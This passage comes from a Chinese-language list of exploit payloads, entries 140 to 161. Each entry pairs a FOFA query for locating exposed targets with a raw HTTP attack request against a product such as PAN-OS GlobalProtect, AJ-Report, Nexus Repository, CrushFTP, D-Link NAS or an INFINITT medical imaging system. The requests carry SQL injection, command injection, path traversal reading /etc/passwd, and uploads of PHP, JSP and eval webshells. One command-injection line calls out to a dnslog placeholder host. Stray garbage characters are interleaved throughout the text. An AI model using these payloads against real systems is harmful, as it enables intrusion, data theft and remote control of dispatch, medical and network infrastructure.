]$ Q* Y; d, A2 B- uFOFA:body="app/structure/departments.php" || app="指挥调度管理平台"4 \, _' ~( q" z X7 x3 m- G' F
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
* _6 X' J9 ^6 _- d! j' PHost: x.x.x.x; [ r C: o: H4 \7 A: b/ h
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 L( {- `) M6 s& oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8! c# f5 d5 G# H. a' j% C, |
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
\3 X6 F! J f/ W1 n0 V0 Y( X+ iAccept-Encoding: gzip, deflate, br8 ]8 M7 U0 p- h2 d5 |
Connection: close
" l% ?1 K9 r! G7 }: rCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
- [6 \' t' [, c! J) G- t+ t" `, \# xUpgrade-Insecure-Requests: 1
9 z, i, y* y& {( N
; ^4 [ v* V2 l: \; _, C! {" |! a
) n% L" a( e$ u9 f `140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
: X" u1 H" C& N' iCVE-2024-2566; q5 `6 N8 ]' x6 |% {! q ~5 ?
FOFA:body="app/structure/departments.php" || app="指挥调度管理平台"
: P: D0 c [3 MGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva×tamp=1&sign=1 HTTP/1.1
* R' s. f0 G: OHost: x.x.x.x; N( _; c- c# _/ }7 O* f
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 B) z* K% }% [1 n1 Q' k4 k- qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& b* g( @5 T) E+ E, z% WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* b) q% u0 O6 sAccept-Encoding: gzip, deflate, br) X5 E( P* B+ O) N7 {' ]
Connection: close: _2 I. Q" I# g4 b* L" y; k
Cookie: authcode=h8g9
, A' i* g; v( d0 `Upgrade-Insecure-Requests: 1
7 ]6 D( l& \" ]8 {' T
+ H7 h* u3 t. S6 g# P" N1 K/ l" @) h: O h7 z% d
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
* j: |1 ^9 U1 J+ W2 R+ zFOFA:body="指挥调度管理平台"$ `. e& Z1 A, @& k4 F3 K3 Q) X
POST /app/ext/ajax_users.php HTTP/1.1- ]0 N5 F X8 a2 {
Host: your-ip
* C; i& r6 V0 S2 }. l! TUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
3 m1 P& @+ |5 c* d+ R! iContent-Type: application/x-www-form-urlencoded
. j7 I2 J9 L0 O% B5 q3 D6 Z
5 B* A' x5 H; A! w; K; Q
, I8 R4 q9 `; ^; N3 i7 b% A( Pdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
Q+ s4 t& X. C7 g1 u3 i% F# B4 \: n8 T
7 j" V0 B0 {! V& l142. CMSV6车辆监控平台系统中存在弱密码
. L; a3 _9 M; W9 c5 NCVE-2024-296666 s0 d" w1 u$ u0 [. i" ]
FOFA:body="/808gps/": o/ }9 ?3 @* k, j9 j! b# n
admin/admin `" I$ D# ]: E6 s
143. Netis WF2780 v2.1.40144 远程命令执行
0 I% K" x" D6 yCVE-2024-25850
" E6 o; ?) z5 `3 `0 f9 ^FOFA:title='AP setup' && header='netis'$ x" [- k6 }) c/ o& `. S
PAYLOAD! E* ^) I$ p4 c# F
$ _ s& e" h- j/ i" t1 ]144. D-Link nas_sharing.cgi 命令注入7 |! h* C+ L, V' y2 k3 A
FOFA:app="D_Link-DNS-ShareCenter". ~/ w3 ~; h2 h+ F
system参数用于传要执行的命令
" Z6 ~; e1 S- sGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1) t! j) l. L$ F5 l* {: r) w
Host: x.x.x.x
( d8 Q( a# H" lUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0# x0 c* k' `5 F c# F+ l% e, q m# D
Connection: close
9 u& g: n$ w# `+ N8 s. T* ]1 MAccept: */*; ?2 `5 t: F! r9 D
Accept-Language: en) h+ P! u0 h3 P: T( Z" q3 u+ X4 o
Accept-Encoding: gzip. {/ b# _- I6 ?& w' a& D6 s
; p8 [1 ] j* }5 V
) m5 p! E% H; C+ \6 a145. Palo Alto Networks PAN-OS GlobalProtect 命令注入% z# K( [& U! O+ @; f4 x8 F8 R
CVE-2024-34009 D, K6 R* _3 a) v
FOFA:icon_hash="-631559155"
$ p' d9 P5 e$ G# XGET /global-protect/login.esp HTTP/1.1$ j2 J: j2 t8 p
Host: 192.168.30.112:1005
- w! x' I& O1 n, w% jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
9 f C8 h* i9 Z: q; g. }% H, NConnection: close, R( g. C4 }0 o& A
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
/ C2 R. c7 [, H2 qAccept-Encoding: gzip% g. i. U1 `) X* i$ Z
& W; r5 _. ]8 W1 N+ ^$ n* ?: N* N; R" p
146. MajorDoMo thumb.php 未授权远程代码执行+ x6 ?% q$ z" O% }; S3 Y7 C/ R
CNVD-2024-02175
+ L1 ^5 s1 g4 e: I4 X' m) }; oFOFA:app="MajordomoSL"
/ z% e" M6 B: A$ h7 p! e- z% y6 s4 zGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
1 d3 g" Z: w! e$ x! qHost: x.x.x.x
' P) w/ _& J# W; u7 Q$ L6 r/ jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84+ l/ h$ G {% Z$ ^* @
Accept-Charset: utf-8% q3 \" u/ i! ]( V. G) P5 J; ^
Accept-Encoding: gzip, deflate
6 a; w4 m C' w/ ], NConnection: close4 A% [0 U; @6 i9 X* u# V
6 @; j, H$ A) d
5 E2 t: Z' j @& S1 Z147. RaidenMAILD邮件服务器v.4.9.4-路径遍历" @5 I& ^; _& a- B$ B, d
CVE-2024-323992 V0 S; P+ r4 F3 ]4 r
FOFA:body="RaidenMAILD"
8 W% q' n8 \+ Y% [3 m( l5 lGET /webeditor/../../../windows/win.ini HTTP/1.1& Q% [) m9 v# t
Host: 127.0.0.1:81
2 S3 ?( P/ @! z$ h4 r& GCache-Control: max-age=0
$ J2 F9 G: }+ I6 i% f' N! uConnection: close
6 Q/ x% p3 @) \* N
0 `0 k4 Q6 A' @* [% j' s k) s, Z2 u7 R$ |) m+ c3 E
148. CrushFTP 认证绕过模板注入
7 b$ {7 @* l( f& R1 pCVE-2024-4040, U$ x( b& ^2 ?$ B; Z8 K [5 v
FOFA:body="CrushFTP"
' h4 @- c2 x6 JPAYLOAD6 k7 H4 G. O/ M2 |6 W# c
* v) m3 B! v' b3 c149. AJ-Report开源数据大屏存在远程命令执行
1 D" e1 }! o& w9 Z5 J' x# WFOFA:title="AJ-Report"
+ _4 T0 E4 ]! `8 p) T# n
4 ]% ]. d: J0 f. \$ q; QPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
# ?8 J+ e9 N+ IHost: x.x.x.x
% v! `* \( `* ]% @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ h0 a$ f9 s6 \" F) KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- Y9 H7 Y9 L" hAccept-Encoding: gzip, deflate, br: e1 A/ X- a' g! ?" q5 R; {2 v
Accept-Language: zh-CN,zh;q=0.9+ A& x# e9 G" P; l$ c
Content-Type: application/json;charset=UTF-8+ w8 i7 l& @! w* e8 B# M
Connection: close
( i+ l- N! g* p! @( a: M' z9 ]% b& s$ N8 ]% ?$ u S
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 z1 l% Z: W0 W5 m/ i( g# n. s, e% W/ D( u6 R; z5 P/ {
150. AJ-Report 1.4.0 认证绕过与远程代码执行0 K2 B' @8 F% u7 E1 a" \! _' _
FOFA:title="AJ-Report"7 v& N0 C3 L. N7 ?+ Y
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
7 G) a3 O) M9 d9 ?: z, N( |Host: x.x.x.x
4 X+ U- P9 D/ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ a- P* X2 _& k6 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" D v4 c8 S n$ N" Y9 Q
Accept-Encoding: gzip, deflate, br6 D- i4 t8 Y, O8 b6 q
Accept-Language: zh-CN,zh;q=0.9' ~5 n9 f) ?; G: x3 u
Content-Type: application/json;charset=UTF-8% `4 ]( Y" J# e% b" q- M
Connection: close
; J/ m5 }& O0 i, C# t; E+ ~/ B: BContent-Length: 339
& V9 C6 N- N/ S( z) e' E1 [( R o6 t
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}6 `6 }: m( |7 Q4 W9 a1 @' Y
6 s6 ?3 E- z! @4 ^4 R
7 S8 s( _3 E0 _" G3 [) |151. AJ-Report 1.4.1 pageList sql注入
7 {7 B9 Y D+ D- @* Q- D( DFOFA:title="AJ-Report"
! _: Z y( x0 [+ f7 y5 xGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.10 K" O! M8 E& ]: |7 V
Host: x.x.x.x
! t! P" p: N, o1 z* d( mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.153 U- @* v S: Y w3 f
Connection: close6 X; z8 M" h) [* r( m8 \7 r5 n
Accept-Encoding: gzip
! G3 w6 h; d/ U) q
. _1 c0 A' F) e5 Q9 }
0 `1 H: j- H4 l) d152. Progress Kemp LoadMaster 远程命令执行
8 n' c. f* @! ?6 ]; w# FCVE-2024-1212! \, r! E7 S' p1 U+ O
LoadMaster <= 7.2.59.2 (GA); Q4 {3 m9 r r! j
LoadMaster<=7.2.54.8 (LTSF)
W0 S! N) k: b o Z9 o* J q' fLoadMaster <= 7.2.48.10 (LTS)8 K. b8 I: J. U+ t
FOFA:body="LoadMaster"
8 t( W& M1 y1 G$ D7 L* mJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
! o& r! Q! N: H9 \1 pGET /access/set?param=enableapi&value=1 HTTP/1.1
" u. N+ ?% c! G& y5 [' bHost: x.x.x.x
' E1 P3 z# d( M9 H5 C0 k% a c# lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
: ?1 F2 h a5 S$ u( `0 lConnection: close
7 G9 `' {* R5 I* v. }& UAccept: */*
7 l9 [$ C: O+ tAccept-Language: en* @- f' S3 L8 z9 [
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=. t& D. N$ S! a* c/ Q
Accept-Encoding: gzip
2 ~% u9 }* P3 }0 y/ g# n4 ^1 e
5 k( C" Q/ O( y' ]& P
153. gradio任意文件读取6 _6 i& v( h' r7 i/ |7 C/ s
CVE-2024-1561FOFA:body="__gradio_mode__"8 y8 K' ] ?( y# {0 S
第一步,请求/config文件获取componets的id
3 G6 ~, C7 M6 R0 m- S# h! Shttp://x.x.x.x/config+ ~7 \/ D& ]# u- z. P: L% t. G7 I: o
6 \" ?1 N' n$ L, a" C& ~" r2 l
% T I7 z- J/ V$ d# y第二步,将/etc/passwd的内容写入到一个临时文件
" J# X5 C/ [/ N% G* D7 s' k0 cPOST /component_server HTTP/1.14 s# v. h7 k) s0 k; H
Host: x.x.x.x( P9 @( v" {% T4 z: U; [0 c
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
2 ~; P6 _! n+ l5 fConnection: close
- e4 f) o( J4 MContent-Length: 1150 `2 ]+ L7 ?2 u
Content-Type: application/json
. P" c3 y' a0 W# lAccept-Encoding: gzip
+ }5 V' J) ^0 z) p: f, E# ~! t+ {9 X$ v! a
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}) ]0 f( ?, q: r' w* c M
, ^5 \4 S' E6 P( B& K$ e
6 I4 M. n# A# w* U第三步访问
4 ~8 T& I. T; y9 zhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
O9 v' g. X9 f. f1 q. |2 z! g4 p* ~4 @0 d2 o6 p% m
. a8 |# E m6 M( q& T' ]% H
154. 天维尔消防救援作战调度平台 SQL注入: C! W7 V( `+ a: `; l
CVE-2024-3720FOFA:body="天维尔信息科技股份有限公司" && title=="登入"; o: D+ W1 E8 G3 x
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
8 N: f7 X! b4 Y. bHost: x.x.x.x
$ d' J+ s) _: Q& G- P+ hContent-Length: 106
8 c# g; s* C3 e+ c$ _Cache-Control: max-age=01 ^$ c, h/ g# i! X$ P1 A1 o' H
Upgrade-Insecure-Requests: 12 D* P9 _5 `6 ]* _* @- \8 c" x
Origin: http://x.x.x.x
$ l' N8 m2 S' |3 j7 w5 tContent-Type: application/json; s0 p* U" X5 C& X; X3 g
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.369 h l. N' k' l$ f" X- ?
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" p0 T: d2 P& c, }
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
, \" o6 K* b8 p# |6 a) sAccept-Encoding: gzip, deflate
0 |9 D g+ h$ L' ]. }Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
, s7 x( H' z CConnection: close
; x3 v+ `4 @9 ~5 [3 Q q
. H. H" q7 T* Z{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}, g6 W% P( c" L+ u4 c2 H( e) s
! m& e+ X5 @* t. Q
" ?/ M6 F s: D155. 六零导航页 file.php 任意文件上传
( R2 g) u, B3 B) ?2 P z, eCVE-2024-34982+ }9 U+ \+ u$ t% ?% [8 A
FOFA:title=="上网导航 - LyLme Spage"9 u6 X8 o: z; b9 r- V( m$ s
POST /include/file.php HTTP/1.1
. j& P! k$ c( m0 ~) }Host: x.x.x.x3 l( S# e- l: K- G" |1 Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0* v4 u f b6 o
Connection: close7 a- ^. c) J" Q: h
Content-Length: 2328 w- L5 ?: ]0 i0 L" s
Accept: application/json, text/javascript, */*; q=0.01
! B! k' K- {# v) V [. G6 p2 {, [Accept-Encoding: gzip, deflate, br1 `/ O7 K9 K$ F7 f8 I. k) m
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. Q# k: o' J1 ]! B- x$ HContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
1 I) E+ m4 [3 b9 O6 r9 C: _; zX-Requested-With: XMLHttpRequest: z0 a% G2 Y" Z v
2 w! ]9 r. w# m8 f0 D. t-----------------------------qttl7vemrsold314zg0f9 o) B: s# w! H3 {
Content-Disposition: form-data; name="file"; filename="test.php"- ]; S- g9 ?& K) Q( u
Content-Type: image/png
5 m. q) S+ K1 B0 y/ m5 c; M& Z6 W2 P* F9 x! }" R6 z2 `
<?php phpinfo();unlink(__FILE__);?>- i" m- C8 ^6 [, }
-----------------------------qttl7vemrsold314zg0f--
8 b/ D& T0 }$ o& d8 u( m: Y5 Z( U, b9 k/ W+ y* c: x2 H
. D/ l: b9 f4 d4 N9 D# q8 {, N
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
0 g, e# h, S- o0 D/ c% q6 ~
; Q* v1 p4 H' D' s6 w156. TBK DVR-4104/DVR-4216 操作系统命令注入$ Q( L/ ~- V, ]
CVE-2024-37219 c# r7 B' D- o) {! g
FOFA:"Location: /login.rsp", E5 c+ ^! A4 q7 \4 _+ u* B1 |
·TBK DVR-4104* c5 ?3 }7 r! L% k+ ^0 K( U& v
·TBK DVR-42161 M+ D. G2 ^! R; Y. ^5 R5 m& C
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
* g+ r- o! G+ Q2 B: v/ R9 d( T
3 _6 b" p& o& e5 h. S7 G2 U, I2 ]9 D
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- p$ T( E) @. d' hHost: x.x.x.x
& |( \0 e' J6 fUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 B1 n6 ?( @2 m3 h( v5 fConnection: close
, O! n9 P4 R$ R! EContent-Length: 0
% }' Y7 `! \) M. a; Q/ b# R! O- L! DCookie: uid=1
# z7 r0 k$ g- H9 _0 N* z2 R1 q. \Accept-Encoding: gzip
$ u9 o+ L1 p0 z3 ? E0 {) s
9 q0 R$ `6 X+ W- a% k5 V' _( {# W! I! f9 x* ]1 E4 }
157. 美特CRM upload.jsp 任意文件上传& f0 M. U. R6 `1 l- P& c
CNVD-2023-06971
& O9 O& o3 A3 U* Z. lFOFA:body="/common/scripts/basic.js"8 g- v3 B4 k1 w- o# \5 z8 X! I
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.10 b# T. ]; V. W$ z7 b& m
Host: x.x.x.x6 J/ F% A# _" s7 n9 K& ?. |
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" ^4 w; E7 S2 R
Content-Length: 709' a1 ^& Z1 G* L" I: E' B
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.75 Q$ Y7 A$ G2 p6 Q) E. d) I
Accept-Encoding: gzip, deflate& d, G$ @! C4 Z+ |4 y5 Y% s
Accept-Language: zh-CN,zh;q=0.9# |, V7 Q8 E/ a) s
Cache-Control: max-age=0! |+ i# P# b6 |& K
Connection: close' l3 ?" O# h0 b: Z4 ]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN! w+ N! _; f5 F4 }9 @
Upgrade-Insecure-Requests: 1
: x$ J) N5 C# D' q- i0 U; o+ s( `3 N
------WebKitFormBoundary1imovELzPsfzp5dN* X$ d; T6 i) ]
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"$ [4 V& u% m+ ~) }' t
Content-Type: application/octet-stream5 K, y# ^( F. j; Y j, a
. S2 i/ P: U* g
nyhelxrutzwhrsvsrafb
# X f& s# a8 u ]) I, z' y$ L" E------WebKitFormBoundary1imovELzPsfzp5dN6 o( q2 B8 M% D$ A
Content-Disposition: form-data; name="key") _$ j. w5 q' R& x( Z" A
: k$ ?; a& a8 K/ X$ Z a0 d
null
' {$ L. g: k" ]" w/ Y' M5 Q------WebKitFormBoundary1imovELzPsfzp5dN# N$ ^5 l/ @, x! g
Content-Disposition: form-data; name="form"9 W" o% I& i) [
" L, X0 H# G8 e1 D) n& |
null, ?7 ]: N( X$ {, k& M/ R$ [
------WebKitFormBoundary1imovELzPsfzp5dN
! h7 [& t* [$ q+ R' b* }2 a! y/ SContent-Disposition: form-data; name="field"1 ]0 v8 `: C, O: P) n6 E' r
) i' {7 _: y7 t8 Nnull
, P( ^' V! U; p* G0 a9 R------WebKitFormBoundary1imovELzPsfzp5dN
8 q I) y) s! aContent-Disposition: form-data; name="filetitile"
$ n0 u; Y4 C/ {, i, | n: x! R5 H0 [- i6 l9 x/ ^% N
null3 W' \& `7 z4 }; c
------WebKitFormBoundary1imovELzPsfzp5dN
6 ^5 x" o6 B; I" q) t! T* @; v* z, SContent-Disposition: form-data; name="filefolder"% k+ F% \7 [3 E+ ^) L0 L. [
1 [7 l9 j/ ~# M3 F6 _
null
5 X' t) q* q7 ]3 y, r1 s9 I; l------WebKitFormBoundary1imovELzPsfzp5dN--& ?$ y w1 F O( i( b% e( k7 M
9 F6 |5 ~( O& e& P2 y2 K6 L
/ t8 o+ y; a4 q; |* A9 V9 T, H# ~$ Qhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
! K! V6 O5 _' ?; u3 r! E8 N* C/ ?' x; {1 X' H- C% ^' }* [
158. Mura-CMS-processAsyncObject存在SQL注入
# c2 s4 W% Q7 Y0 ~% s7 w' cCVE-2024-32640
h) y0 |. o6 i( E, W/ f; XFOFA:"Generator: Masa CMS"
9 v/ U+ o/ Z6 ]& R7 u' xPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
1 a& a$ O2 H0 u+ h3 Z9 N3 ]; BHost: {{Hostname}}; G" k- D/ h% Z4 H7 _) v. _
Content-Type: application/x-www-form-urlencoded
! P( W7 ?+ r! M6 r
- k& Q- s, s# {0 Iobject=displayregion&contenthistid=x\'&previewid=19 F, A7 d& o+ `) n6 k
8 q* ^ Q& l$ n L. |; `5 {9 z9 b! P# o5 u( e
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传# i; V4 R5 x0 n! f- I
FOFA:"INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
. \6 F6 ?. x# M, Z( TPOST /webservices/WebJobUpload.asmx HTTP/1.18 w, E! b2 \( L; l7 ?
Host: x.x.x.x( [5 I( j# i& {% K0 T
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
7 |( H* B! W- O* {Content-Length: 1080
/ }0 }5 \7 F7 ]& I# J/ v- h. s1 }Accept-Encoding: gzip, deflate- e$ U2 B( ^5 _" F( j2 m
Connection: close+ W3 q. l' I: x8 r& ?
Content-Type: text/xml; charset=utf-8+ V% D$ \! _8 Q, Z$ m, e" c* Q; c
Soapaction: "http://rainier/jobUpload"
; B& P( _% \- h9 ~/ f
' F, b3 z, e! A5 r; ?8 k0 c. V<?xml version="1.0" encoding="utf-8"?>
& z7 w. ?! c x<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
, m8 U, w7 ^- K8 I4 z<soap:Body>& t; _- M7 x; j$ t) S( v- E- ]
<jobUpload xmlns="http://rainier">
4 _8 a1 A' ~! C<vcode>1</vcode>$ n' {7 \9 d4 w3 Q* m# V1 W9 R
<subFolder></subFolder>, `, a J4 A7 C: C W B& s
<fileName>abcrce.asmx</fileName>% g# x: Q( E/ Y) X6 L
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>3 N- L3 a% T4 a/ k- E2 p
</jobUpload>
) t# [8 Q7 H" ~4 z, j3 C# o o! u</soap:Body>
3 f X2 g5 ^% s</soap:Envelope>
3 N2 k6 ^4 C4 A5 I! B( [8 w% _5 D [! a# X
6 g- W0 h6 }' N4 g8 ~- u
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
% D" i- W# z% a
# b7 J8 n$ c' K' r
# v* t: o# \, H# z9 h: n160. Sonatype Nexus Repository 3目录遍历与文件读取
5 o* e' S6 q; QCVE-2024-4956! s' s: E6 b1 \3 r$ i, E+ w$ _ \0 p
FOFA:title="Nexus Repository Manager"8 B, R8 i8 @6 [! B- F1 H
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
4 ?6 E& v8 P, |6 y; {1 D) KHost: x.x.x.x
O; q! k9 D: p# E0 r2 yUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0* C0 W* A; X, ~' [9 o, B0 c |
Connection: close- Q$ u% j5 _% \2 p# O8 A& y$ D1 K" D
Accept: */*; W. Y! o+ t9 v) K" f% O M' O
Accept-Language: en) ^5 z& T. z7 h, b+ Z- E. E
Accept-Encoding: gzip
1 J- M3 d0 p; g6 E/ Q& [ ?% n
8 O" Z Y( X Z/ t* V9 n161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传' D) h* P$ U0 ?4 g# c0 i9 K
FOFA:body="/KT_Css/qd_defaul.css"
v f3 N; G5 E& `2 A% \5 |. Z8 C2 }第一步,上传文件<fileName>字段指定文件名,<fileFlow>字段指定文件内容,内容需要base64加密! K6 g8 X$ i( m9 z. w. ~
POST /Webservice.asmx HTTP/1.1
1 C! J/ M& a0 _& V" R0 tHost: x.x.x.x+ P& T! m; L. @3 f: D, f a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
' O' _" I/ G, k2 S; E+ GConnection: close
! C9 { |: }% wContent-Length: 4457 j& Q3 W5 U8 N" `& C& Q
Content-Type: text/xml1 y: O4 n6 [0 K0 J- f
Accept-Encoding: gzip+ k' P5 K5 E0 v; X# z
% k* v! b; }) |* T! d( ?, m1 o<?xml version="1.0" encoding="utf-8"?>8 P1 Q* M* j. X2 {+ S8 J- w( G: _' T
<soap:Envelope xmlns:xsi="
$ p" C$ {9 z) Ehttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"5 y( v$ i/ m5 N) w& d
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 q* V, c$ e! Q<soap:Body>
" @$ C# [: _& W8 Z; p<UploadResume xmlns="http://tempuri.org/">
. K; q7 N: f: e9 d2 ~<ip>1</ip>
0 g8 [$ `* D A+ K, X% n+ N<fileName>../../../../dizxdell.aspx</fileName>
